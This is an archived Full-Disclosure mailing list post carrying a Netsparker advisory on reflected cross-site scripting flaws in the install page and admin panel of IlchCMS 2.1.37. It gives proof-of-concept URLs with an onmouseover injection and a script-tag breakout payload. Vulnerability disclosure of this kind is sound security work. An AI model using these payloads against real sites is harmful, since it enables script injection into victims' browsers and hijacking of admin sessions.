lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Thu, 10 Sep 2020 12:06:11 +0200 From: Daniel Bishtawi via Fulldisclosure <fulldisclosure@...lists.org> To: fulldisclosure@...lists.org, vuln@...unia.com, bugs@...uritytracker.com, submissions@...ketstormsecurity.org Subject: [FD] Cross-Site Scripting Vulnerabilities in IlchCMS 2.1.37 Hello, We are informing you about Cross-Site Scripting Vulnerabilities in IlchCMS 2.1.37. Information -------------------- Advisory by Netsparker Name: Cross-Site Scripting in IlchCMS Affected Software: IlchCMS Affected Versions: 2.1.37 Vendor Homepage: https://www.ilch.de/ Vulnerability Type: Cross-Site Scripting Severity: Important Status: Fixed CVSS Score (3.0): 7.4 (High) Netsparker Advisory Reference: NS-20-003 Technical Details -------------------- Cross-site Scripting in Install Page URL: http://localhost:8001/ilch/index.php/install/index/indexx%22%20onmouseover=alert(0x003370)%20x=%22 Parameter Name: URI-BASED Parameter Type: Full URL Attack Pattern: x%22+onmouseover%3dnetsparker(0x003370)+x%3d%22 Cross-site Scripting in Admin Panel URL: http://127.0.0.1:8001/ilch/index.php/admin/?'"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt> Notes: For successful exploitation, payload may need to be sent without URL encoding. Modern browsers will encode the HTML tags in the request before it is being sent to the webserver, however it is still possible in Internet Explorer. Proof URL: http://127.0.0.1:8001/ilch/index.php/admin/?'"--></style></scRipt><scRipt>alert(0x0096E8)</scRipt> Parameter Name: Query Based Parameter Type: Query String Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt> For more information: https://www.netsparker.com/web-applications-advisories/ns-20-003-cross-site-scripting-in-ilchcms/ Regards, [image: upload image] Daniel Bishtawi | Marketing Administrator E: daniel@...sparker.com <daniel@...sparker.com> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists